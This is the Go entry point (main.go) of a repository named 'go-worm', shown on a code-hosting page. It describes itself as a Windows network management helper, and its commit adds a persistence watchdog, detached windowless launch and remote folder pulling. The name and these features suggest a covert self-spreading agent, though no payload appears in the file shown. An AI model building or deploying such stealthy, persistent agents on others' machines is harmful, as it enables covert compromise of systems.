Files
go-worm/main.go
T
kato 36cb847f9e feat(agent): add crash logs and watchdog startup
- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API
2026-09-01 20:04:20 +03:00

62 lines
1.2 KiB
Go

// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// A CMD window appears on launch. Use -background to start without a window:
//
// win64_mp.exe -background
package main
import (
"flag"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/install"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func main() {
defer crashlog.Recover()
background := flag.Bool("background", false, "run without a console window")
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
flag.Parse()
if err := install.Ensure(); err != nil {
die(err)
}
if *ensure {
if err := instance.EnsureRunning(); err != nil {
die(err)
}
return
}
if *background {
if err := instance.Detach(); err != nil {
die(err)
}
return
}
a, err := agent.New()
if err != nil {
die(err)
}
defer a.Close()
if err := a.Serve(); err != nil {
die(err)
}
}
func die(err error) {
crashlog.RecordError(err)
helpers.Log.Fatal(err)
}